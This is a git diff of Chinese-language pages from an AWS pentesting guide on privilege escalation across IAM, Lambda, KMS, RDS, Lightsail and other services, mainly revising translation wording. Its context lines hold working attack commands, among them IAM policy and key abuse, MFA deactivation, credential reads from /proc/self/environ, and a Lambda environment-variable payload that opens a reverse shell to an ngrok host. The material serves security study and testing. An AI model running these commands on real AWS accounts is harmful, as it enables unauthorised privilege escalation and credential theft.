**Glue 服务账户**,并启动作业的执行。该作业的功能包括运行任意 Python 代码,这可以被利用来建立反向 shell。然后可以利用这个反向 shell 来提取附加到 Glue 作业的 **IAM 凭证**,导致基于该角色权限的潜在未授权访问或操作: ```bash # Content of the python script saved in s3: #import socket,subprocess,os @@ -79,7 +79,7 @@ aws glue create-trigger --name triggerprivesc --type SCHEDULED \ **潜在影响:** 提升到附加的 glue 服务角色。 -## 参考文献 +## 参考 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 10bcb77af..58cbcb986 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -29,11 +29,11 @@ aws iam create-policy-version --policy-arn \ ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` -**影响:** 通过启用更多权限进行间接权限提升。 +**影响:** 通过启用更多权限进行间接特权提升。 ### **`iam:CreateAccessKey`** -允许为另一个用户创建访问密钥 ID 和秘密访问密钥,从而导致潜在的权限提升。 +允许为另一个用户创建访问密钥 ID 和秘密访问密钥,从而导致潜在的特权提升。 **利用:** ```bash @@ -50,7 +50,7 @@ aws iam create-access-key --user-name aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' ``` -**利用更新:** +**更新的利用:** ```bash aws iam update-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -59,17 +59,17 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require ### **`iam:UpdateAccessKey`** -允许启用已禁用的访问密钥,如果攻击者拥有已禁用的密钥,可能导致未经授权的访问。 +允许启用已禁用的访问密钥,如果攻击者拥有该禁用密钥,可能导致未经授权的访问。 **利用:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**影响:** 通过重新激活访问密钥直接提升权限。 +**影响:** 通过重新激活访问密钥进行直接权限提升。 ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -允许为特定的AWS服务(例如,CodeCommit,Amazon Keyspaces)生成或重置凭证,继承相关用户的权限。 +允许为特定的 AWS 服务(例如,CodeCommit、Amazon Keyspaces)生成或重置凭证,继承相关用户的权限。 **创建利用:** ```bash @@ -95,7 +95,7 @@ aws iam attach-group-policy --group-name --policy-arn " ``` **影响:** 直接提升到策略所授予的任何权限。 -### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** +### **`iam:AttachRolePolicy`,**( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** 允许将策略附加或放置到角色、用户或组,从而通过授予额外权限实现直接的权限提升。 @@ -127,17 +127,17 @@ aws iam put-role-policy --role-name --policy-name "" \ ] } ``` -**影响:** 通过策略添加权限直接提升权限。 +**影响:** 通过策略添加权限进行直接权限提升。 ### **`iam:AddUserToGroup`** -允许将自己添加到 IAM 组中,通过继承该组的权限来提升权限。 +允许将自己添加到IAM组中,通过继承该组的权限来提升权限。 **利用:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**影响:** 直接提升到组权限的级别。 +**影响:** 直接提升到该组权限的级别。 ### **`iam:UpdateAssumeRolePolicy`** @@ -173,15 +173,15 @@ aws iam update-assume-role-policy --role-name \ ```bash aws iam upload-ssh-public-key --user-name --ssh-public-key-body ``` -**利用MFA停用:** +**用于MFA停用的漏洞利用:** ```bash aws iam deactivate-mfa-device --user-name --serial-number ``` -**影响:** 通过启用 CodeCommit 访问或禁用 MFA 保护进行间接权限提升。 +**影响:** 通过启用 CodeCommit 访问或禁用 MFA 保护实现间接权限提升。 ### **`iam:ResyncMFADevice`** -允许重新同步 MFA 设备,可能通过操纵 MFA 保护导致间接权限提升。 +允许重新同步 MFA 设备,可能通过操控 MFA 保护导致间接权限提升。 **Bash 命令:** ```bash @@ -215,7 +215,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-prov ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) -(不确定)如果攻击者拥有这些 **权限**,他可以添加一个新的 **Thumbprint** 来管理所有信任该提供者的角色的登录。 +(不确定)如果攻击者拥有这些 **权限**,他可以添加一个新的 **Thumbprint** 来管理登录所有信任该提供者的角色。 ```bash # List providers aws iam list-open-id-connect-providers @@ -224,7 +224,7 @@ aws iam get-open-id-connect-provider --open-id-connect-provider-arn # Update Thumbprints (The thumbprint is always a 40-character string) aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3 ``` -## 参考文献 +## 参考 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index b954a79f1..ef4de6f7a 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -12,7 +12,7 @@ ### `kms:ListKeys`,`kms:PutKeyPolicy`, (`kms:ListKeyPolicies`, `kms:GetKeyPolicy`) -拥有这些权限后,可以**修改密钥的访问权限**,使其可以被其他账户甚至任何人使用: +拥有这些权限可以**修改对密钥的访问权限**,以便其他账户甚至任何人都可以使用: ```bash aws kms list-keys aws kms list-key-policies --key-id # Although only 1 max per key @@ -60,8 +60,8 @@ aws kms create-grant \ > 授权只能允许某些类型的操作: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations) > [!WARNING] -> 请注意,KMS 可能需要几分钟才能 **在生成授权后允许用户使用密钥**。一旦时间过去,主体可以在不需要指定任何内容的情况下使用 KMS 密钥。\ -> 然而,如果需要立即使用授权 [请使用授权令牌](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)(查看以下代码)。\ +> 请注意,KMS 可能需要几分钟才能 **在生成授权后允许用户使用密钥**。 一旦时间过去,主体可以在不需要指定任何内容的情况下使用 KMS 密钥。\ +> 但是,如果需要立即使用授权 [请使用授权令牌](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)(查看以下代码)。\ > 有关 [**更多信息,请阅读此内容**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token)。 ```bash # Use the grant token in a request @@ -70,7 +70,7 @@ aws kms generate-data-key \ –-key-spec AES_256 \ --grant-tokens $token ``` -注意,可以使用以下命令列出密钥的授权: +请注意,可以使用以下命令列出密钥的授权: ```bash aws kms list-grants --key-id ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index c0f2c0d9d..f2559abc3 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -12,8 +12,8 @@ ### `iam:PassRole`, `lambda:CreateFunction`, (`lambda:InvokeFunction` | `lambda:InvokeFunctionUrl`) -拥有 **`iam:PassRole`, `lambda:CreateFunction` 和 `lambda:InvokeFunction`** 权限的用户可以提升他们的权限。\ -他们可以 **创建一个新的 Lambda 函数并为其分配一个现有的 IAM 角色**,从而授予该函数与该角色相关联的权限。然后,用户可以 **向此 Lambda 函数编写和上传代码(例如带有 rev shell 的代码)**。\ +具有 **`iam:PassRole`, `lambda:CreateFunction` 和 `lambda:InvokeFunction`** 权限的用户可以提升他们的权限。\ +他们可以 **创建一个新的 Lambda 函数并为其分配一个现有的 IAM 角色**,从而授予该函数与该角色相关联的权限。用户可以 **向此 Lambda 函数编写和上传代码(例如带有 rev shell 的代码)**。\ 一旦函数设置完成,用户可以 **通过 AWS API 触发其执行** 和预期的操作。这种方法有效地允许用户通过 Lambda 函数间接执行任务,操作时使用与其关联的 IAM 角色授予的访问级别。\\ 攻击者可以利用这一点获取 **rev shell 并窃取令牌**: @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -也可以在不需要外部连接的情况下泄露lambda的角色凭证。这对于用于内部任务的**网络隔离的Lambdas**将非常有用。如果有未知的安全组过滤您的反向shell,这段代码将允许您直接泄露凭证作为lambda的输出。 +也可以在不需要外部连接的情况下泄露lambda的角色凭证。这对于用于内部任务的**网络隔离的Lambdas**非常有用。如果有未知的安全组过滤您的反向shell,这段代码将允许您直接泄露凭证作为lambda的输出。 ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -75,31 +75,31 @@ cat output.txt **潜在影响:** 直接提升到指定的任意 lambda 服务角色。 > [!CAUTION] -> 请注意,即使看起来很有趣,**`lambda:InvokeAsync`** **并不**允许单独**执行 `aws lambda invoke-async`**,你还需要 `lambda:InvokeFunction` +> 请注意,即使看起来很有趣,**`lambda:InvokeAsync`** **并不**允许单独**执行 `aws lambda invoke-async`**,您还需要 `lambda:InvokeFunction` ### `iam:PassRole`,`lambda:CreateFunction`,`lambda:AddPermission` -与之前的场景一样,如果你拥有权限 **`lambda:AddPermission`**,你可以**授予自己 `lambda:InvokeFunction`** 权限。 +与之前的场景一样,如果您拥有权限 **`lambda:AddPermission`**,您可以**授予自己 `lambda:InvokeFunction`** 权限。 ```bash # Check the previous exploit and use the following line to grant you the invoke permissions aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \ --action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN" ``` -**潜在影响:** 直接提升到指定的任意 Lambda 服务角色。 +**潜在影响:** 直接提升到指定的任意 lambda 服务角色。 ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping` -拥有 **`iam:PassRole`、`lambda:CreateFunction` 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还包括 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)可以间接 **提升权限**,即使没有 `lambda:InvokeFunction`。\ +拥有 **`iam:PassRole`, `lambda:CreateFunction`, 和 `lambda:CreateEventSourceMapping`** 权限的用户(可能还包括 `dynamodb:PutItem` 和 `dynamodb:CreateTable`)可以间接 **提升权限**,即使没有 `lambda:InvokeFunction`。\ 他们可以创建一个 **带有恶意代码的 Lambda 函数并将其分配给现有的 IAM 角色**。 -用户可以设置或利用现有的 DynamoDB 表,将其通过事件源映射链接到 Lambda,而不是直接调用 Lambda。此设置确保在表中新增项时,Lambda 函数会 **自动触发**,无论是通过用户的操作还是其他进程,从而间接调用 Lambda 函数并以传递的 IAM 角色的权限执行代码。 +用户不是直接调用 Lambda,而是设置或利用现有的 DynamoDB 表,通过事件源映射将其链接到 Lambda。此设置确保在表中有新项条目时,Lambda 函数会 **自动触发**,无论是通过用户的操作还是其他进程,从而间接调用 Lambda 函数并以传递的 IAM 角色的权限执行代码。 ```bash aws lambda create-function --function-name my_function \ --runtime python3.8 --role \ --handler lambda_function.lambda_handler \ --zip-file fileb://rev.zip ``` -如果DynamoDB在AWS环境中已经激活,用户只需**为Lambda函数建立事件源映射**。然而,如果DynamoDB未在使用中,用户必须**创建一个新的表**并启用流: +如果DynamoDB在AWS环境中已经激活,用户只需**建立事件源映射**以供Lambda函数使用。然而,如果DynamoDB未在使用中,用户必须**创建一个新的表**并启用流: ```bash aws dynamodb create-table --table-name my_table \ --attribute-definitions AttributeName=Test,AttributeType=S \ @@ -130,11 +130,11 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**潜在影响:** 直接提升权限到通过授予修改代码和运行它的权限的 lambda 服务角色。 +**潜在影响:** 直接提升权限到 lambda 服务角色,通过授予修改代码和运行代码的权限。 ### `lambda:AddLayerVersionPermission` -拥有此权限的攻击者可以**授予自己(或其他人)权限 `lambda:GetLayerVersion`**。他可以访问该层并搜索漏洞或敏感信息。 +拥有此权限的攻击者可以 **授予自己(或其他人)权限 `lambda:GetLayerVersion`**。他可以访问该层并搜索漏洞或敏感信息。 ```bash # Give everyone the permission lambda:GetLayerVersion aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion @@ -163,11 +163,11 @@ aws lambda invoke --function-name my_function output.txt #### 通过环境变量进行 RCE -凭借这些权限,可以添加环境变量,这将导致 Lambda 执行任意代码。例如,在 Python 中,可以利用环境变量 `PYTHONWARNING` 和 `BROWSER` 使 Python 进程执行任意命令: +通过这些权限,可以添加环境变量,使 Lambda 执行任意代码。例如,在 Python 中,可以利用环境变量 `PYTHONWARNING` 和 `BROWSER` 使 Python 进程执行任意命令: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` -对于其他脚本语言,还有其他环境变量可以使用。有关更多信息,请查看以下内容中脚本语言的子部分: +对于其他脚本语言,还有其他环境变量可以使用。有关更多信息,请查看以下链接中脚本语言的子部分: {{#ref}} https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse @@ -175,9 +175,9 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat #### 通过 Lambda Layers 进行 RCE -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在您的 Lambda 函数中包含 **代码**,但 **单独存储**,因此函数代码可以保持小巧,并且 **多个函数可以共享代码**。 +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) 允许在您的 lambda 函数中包含 **代码**,但 **单独存储**,这样函数代码可以保持小巧,并且 **多个函数可以共享代码**。 -在 Lambda 内部,您可以使用以下函数检查加载 Python 代码的路径: +在 lambda 内部,您可以使用以下函数检查加载 python 代码的路径: ```python import json import sys @@ -185,7 +185,7 @@ import sys def lambda_handler(event, context): print(json.dumps(sys.path, indent=2)) ``` -这些地方是: +这些是位置: 1. /var/task 2. /opt/python/lib/python3.7/site-packages @@ -202,7 +202,7 @@ print(json.dumps(sys.path, indent=2)) #### 利用 -可以滥用权限 `lambda:UpdateFunctionConfiguration` 来 **添加一个新层** 到一个 lambda 函数。要执行任意代码,这个层需要包含一些 **lambda 将要导入的库。** 如果你能读取 lambda 的代码,你可以很容易找到这一点,还要注意,lambda **可能已经在使用一个层**,你可以 **下载** 这个层并 **在其中添加你的代码**。 +可以滥用权限 `lambda:UpdateFunctionConfiguration` 来 **添加一个新层** 到 lambda 函数。要执行任意代码,这个层需要包含一些 **lambda 将要导入的库。** 如果你能读取 lambda 的代码,你可以很容易找到这一点,还要注意,lambda **可能已经在使用一个层**,你可以 **下载** 这个层并 **在其中添加你的代码**。 例如,假设 lambda 正在使用库 boto3,这将创建一个包含库最新版本的本地层: ```bash @@ -228,9 +228,9 @@ aws lambda update-function-configuration \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -下一步要么是**自己调用函数**,如果可以的话,要么是等待**它被正常方式调用**——这是更安全的方法。 +下一步要么是**自己调用函数**,如果可以的话,要么等待它被正常方式**调用**——这是更安全的方法。 -**利用此漏洞的更隐蔽方式**可以在以下内容中找到: +**更隐蔽的利用此漏洞的方法**可以在以下内容中找到: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md @@ -240,7 +240,7 @@ aws lambda update-function-configuration \ ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -也许拥有这些权限你能够创建一个函数并通过调用URL执行它……但我找不到测试的方法,所以如果你找到,请告诉我! +也许凭借这些权限,你能够创建一个函数并通过调用URL来执行它……但我找不到测试的方法,所以如果你找到了,请告诉我! ### Lambda MitM @@ -250,7 +250,7 @@ aws lambda update-function-configuration \ ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## 参考文献 +## 参考 - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 6a2488865..0d600c3a2 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -11,7 +11,7 @@ {{#endref}} > [!WARNING] -> 重要的是要注意,Lightsail **不使用属于用户的 IAM 角色**,而是使用 AWS 管理的账户,因此您无法利用此服务进行特权提升。然而,**敏感数据**如代码、API 密钥和数据库信息可能会在此服务中找到。 +> 重要的是要注意,Lightsail **不使用属于用户的 IAM 角色**,而是使用 AWS 管理的账户,因此您无法利用此服务进行权限提升。然而,**敏感数据**如代码、API 密钥和数据库信息可能会在此服务中找到。 ### `lightsail:DownloadDefaultKeyPair` @@ -35,7 +35,7 @@ aws lightsail get-instance-access-details --instance-name ```bash aws lightsail create-bucket-access-key --bucket-name ``` -**潜在影响:** 在存储桶中查找敏感信息。 +**潜在影响:** 在存储桶中找到敏感信息。 ### `lightsail:GetRelationalDatabaseMasterUserPassword` @@ -69,7 +69,7 @@ aws lightsail open-instance-public-ports \ ### `lightsail:PutInstancePublicPorts` -此权限允许将端口开放到互联网。请注意,此调用将关闭未在其上指定的任何已打开端口。 +此权限允许将端口开放到互联网。请注意,该调用将关闭未在其上指定的任何已打开端口。 ```bash aws lightsail put-instance-public-ports \ --instance-name MEAN-2 \ @@ -115,7 +115,7 @@ aws update-container-service \ ### `lightsail:CreateDomainEntry` -拥有此权限的攻击者可以创建子域并将其指向自己的 IP 地址(子域接管),或制作一个 SPF 记录,使其能够伪造来自该域的电子邮件,甚至将主域设置为自己的 IP 地址。 +拥有此权限的攻击者可以创建子域并将其指向自己的 IP 地址(子域接管),或制作一个允许他伪造来自该域的电子邮件的 SPF 记录,甚至将主域设置为自己的 IP 地址。 ```bash aws lightsail create-domain-entry \ --domain-name example.com \ @@ -125,7 +125,7 @@ aws lightsail create-domain-entry \ ### `lightsail:UpdateDomainEntry` -拥有此权限的攻击者可以创建子域并将其指向自己的IP地址(子域接管),或制作一个SPF记录,使其能够伪造来自该域名的电子邮件,甚至将主域名设置为自己的IP地址。 +拥有此权限的攻击者可以创建子域并将其指向自己的 IP 地址(子域接管),或制作一个允许他伪造来自该域的电子邮件的 SPF 记录,甚至将主域设置为自己的 IP 地址。 ```bash aws lightsail update-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index d3d6bf545..4d815cb2d 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -4,13 +4,13 @@ ### `mediapackage:RotateChannelCredentials` -更改频道的第一个 IngestEndpoint 的用户名和密码。 (此 API 已被 RotateIngestEndpointCredentials 替代) +更改频道的第一个 IngestEndpoint 的用户名和密码。(此 API 已被 RotateIngestEndpointCredentials 替代) ```bash aws mediapackage rotate-channel-credentials --id ``` ### `mediapackage:RotateIngestEndpointCredentials` -更改频道的第一个 IngestEndpoint 的用户名和密码。 (此 API 已弃用,用于 RotateIngestEndpointCredentials) +更改频道第一个 IngestEndpoint 的用户名和密码。 (此 API 已弃用,用于 RotateIngestEndpointCredentials) ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index e8c35abb4..1750f1bbe 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -12,7 +12,7 @@ ### `mq:ListBrokers`, `mq:CreateUser` -拥有这些权限,您可以**在ActimeMQ代理中创建新用户**(这在RabbitMQ中无效): +拥有这些权限后,您可以**在ActiveMQ代理中创建新用户**(这在RabbitMQ中不起作用): ```bash aws mq list-brokers aws mq create-user --broker-id --console-access --password --username @@ -36,7 +36,7 @@ aws mq update-user --broker-id --console-access --password --use aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -如果你能以某种方式找到 ActiveMQ 使用的原始凭据,你可以执行 MitM,窃取凭据,在原始服务器中使用它们,并发送响应(也许只是重用被窃取的凭据你就可以做到这一点)。 +如果你能以某种方式找到 ActiveMQ 使用的原始凭据,你可以执行 MitM,窃取凭据,在原始服务器上使用它们,并发送响应(也许只是重用被窃取的凭据你就可以做到这一点)。 **潜在影响:** 窃取 ActiveMQ 凭据 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md index 82bc38bf6..d58eedc26 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-msk-privesc.md @@ -16,7 +16,7 @@ ```bash aws msk --client-authentication --cluster-arn --current-version ``` -您需要访问 VPC,因为 **您无法启用公开暴露的 Kafka 的 None 认证**。如果它是公开暴露的,如果使用 **SASL/SCRAM** 认证,您可以 **读取秘密** 以访问(您将需要额外的权限来读取秘密)。\ -如果使用 **基于 IAM 角色的认证** 并且 **Kafka 是公开暴露的**,您仍然可以滥用这些权限以获得访问权限。 +您需要访问 VPC,因为 **您无法启用公开暴露的 Kafka 的无身份验证**。如果它是公开暴露的,如果使用 **SASL/SCRAM** 身份验证,您可以 **读取密钥** 以访问(您需要额外的权限来读取密钥)。\ +如果使用 **基于 IAM 角色的身份验证** 并且 **Kafka 是公开暴露的**,您仍然可以滥用这些权限以获得访问权限。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md index 9e0bcff55..4ed9f9d03 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc.md @@ -4,7 +4,7 @@ ## Organizations -有关更多信息,请查看: +更多信息请查看: {{#ref}} ../aws-services/aws-organizations-enum.md @@ -12,7 +12,7 @@ ## 从管理账户到子账户 -如果您妥协了根/管理账户,您很可能会妥协所有子账户。\ +如果你攻陷了根/管理账户,那么你很可能会攻陷所有子账户。\ 要[**了解如何,请查看此页面**](../#compromising-the-organization)。 {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md index 61c1a603b..bf0a6a580 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-rds-privesc.md @@ -12,7 +12,7 @@ ### `rds:ModifyDBInstance` -拥有该权限的攻击者可以 **修改主用户的密码**,以及数据库中的登录: +拥有该权限的攻击者可以**修改主用户的密码**,以及数据库中的登录: ```bash # Get the DB username, db name and address aws rds describe-db-instances @@ -29,7 +29,7 @@ psql postgresql://:@:5432/ > [!WARNING] > 您需要能够**联系数据库**(它们通常仅在内部网络中可访问)。 -**潜在影响:** 在数据库中查找敏感信息。 +**潜在影响:** 在数据库中找到敏感信息。 ### rds-db:connect @@ -40,15 +40,15 @@ psql postgresql://:@:5432/ #### Postgresql (Aurora) > [!TIP] -> 如果运行**`SELECT datname FROM pg_database;`**时发现名为**`rdsadmin`**的数据库,您就知道您在一个**AWS postgresql数据库**中。 +> 如果运行**`SELECT datname FROM pg_database;`** 发现一个名为**`rdsadmin`**的数据库,您就知道您在一个**AWS postgresql数据库**中。 首先,您可以检查此数据库是否已用于访问任何其他AWS服务。您可以通过查看已安装的扩展来检查这一点: ```sql SELECT * FROM pg_extension; ``` -如果你发现类似 **`aws_s3`** 的东西,你可以假设这个数据库对 S3 **有某种访问权限**(还有其他扩展名,如 **`aws_ml`** 和 **`aws_lambda`**)。 +如果你发现类似 **`aws_s3`** 的东西,你可以假设这个数据库对 S3 **有某种访问权限**(还有其他扩展,如 **`aws_ml`** 和 **`aws_lambda`**)。 -此外,如果你有权限运行 **`aws rds describe-db-clusters`**,你可以在 **`AssociatedRoles`** 字段中查看 **集群是否附加了任何 IAM 角色**。如果有,你可以假设该数据库是 **为访问其他 AWS 服务而准备的**。根据 **角色的名称**(或者如果你能获取 **角色的权限**),你可以 **猜测** 数据库具有的额外访问权限。 +此外,如果你有权限运行 **`aws rds describe-db-clusters`**,你可以在 **`AssociatedRoles`** 字段中查看 **集群是否附加了任何 IAM 角色**。如果有,你可以假设该数据库是 **为访问其他 AWS 服务而准备的**。根据 **角色的名称**(或者如果你能获取 **角色的权限**),你可以 **猜测** 数据库具有什么额外的访问权限。 现在,要 **读取存储桶中的文件**,你需要知道完整路径。你可以用以下命令读取它: ```sql @@ -71,7 +71,7 @@ SELECT * from ttemp; // Delete table DROP TABLE ttemp; ``` -如果你拥有 **原始 AWS 凭证**,你也可以使用它们访问 S3 数据,方法是: +如果你拥有 **原始 AWS 凭证**,你也可以使用它们访问 S3 数据: ```sql SELECT aws_s3.table_import_from_s3( 't', '', '(format csv)', @@ -109,7 +109,7 @@ aws add-role-to-db-cluster --db-cluster-identifier --role-arn ### `rds:CreateDBInstance` -仅凭此权限,攻击者可以在已经存在并附加了**IAM角色**的集群中创建一个**新实例**。他将无法更改主用户密码,但他可能能够将新数据库实例暴露于互联网: +仅凭此权限,攻击者可以在已经存在并附加了**IAM角色**的集群中创建一个**新实例**。他将无法更改主用户密码,但可能能够将新数据库实例暴露到互联网: ```bash aws --region eu-west-1 --profile none-priv rds create-db-instance \ --db-instance-identifier mydbinstance2 \ @@ -124,13 +124,13 @@ aws --region eu-west-1 --profile none-priv rds create-db-instance \ > [!NOTE] > TODO: 测试 -拥有权限 `rds:CreateDBInstance` 和 `iam:PassRole` 的攻击者可以 **创建一个附加指定角色的新 RDS 实例**。攻击者随后可能 **访问敏感数据** 或修改实例中的数据。 +拥有权限 `rds:CreateDBInstance` 和 `iam:PassRole` 的攻击者可以 **创建一个附加了指定角色的新 RDS 实例**。攻击者随后可能 **访问敏感数据** 或修改实例中的数据。 > [!WARNING] > 附加角色/实例配置文件的一些要求(来自 [**这里**](https://docs.aws.amazon.com/cli/latest/reference/rds/create-db-instance.html)): > - 配置文件必须在您的账户中存在。 -> - 配置文件必须有一个 IAM 角色,Amazon EC2 有权限假设。 +> - 配置文件必须有一个 IAM 角色,Amazon EC2 有权限假设该角色。 > - 实例配置文件名称和关联的 IAM 角色名称必须以前缀 `AWSRDSCustom` 开头。 ```bash aws rds create-db-instance --db-instance-identifier malicious-instance --db-instance-class db.t2.micro --engine mysql --allocated-storage 20 --master-username admin --master-user-password mypassword --db-name mydatabase --vapc-security-group-ids sg-12345678 --db-subnet-group-name mydbsubnetgroup --enable-iam-database-authentication --custom-iam-instance-profile arn:aws:iam::123456789012:role/MyRDSEnabledRole @@ -139,7 +139,7 @@ aws rds create-db-instance --db-instance-identifier malicious-instance --db-inst ### `rds:AddRoleToDBInstance`, `iam:PassRole` -拥有权限 `rds:AddRoleToDBInstance` 和 `iam:PassRole` 的攻击者可以**将指定角色添加到现有的RDS实例**。这可能允许攻击者**访问敏感数据**或修改实例中的数据。 +具有权限`rds:AddRoleToDBInstance`和`iam:PassRole`的攻击者可以**将指定角色添加到现有的RDS实例**。这可能允许攻击者**访问敏感数据**或修改实例中的数据。 > [!WARNING] > DB实例必须位于集群之外才能实现此操作。 diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md index a30998679..a9a635657 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-redshift-privesc.md @@ -12,7 +12,7 @@ ### `redshift:DescribeClusters`, `redshift:GetClusterCredentials` -拥有这些权限后,您可以获取 **所有集群的信息**(包括名称和集群用户名)并 **获取凭据** 以访问它: +通过这些权限,您可以获取 **所有集群的信息**(包括名称和集群用户名)并 **获取凭据** 以访问它: ```bash # Get creds aws redshift 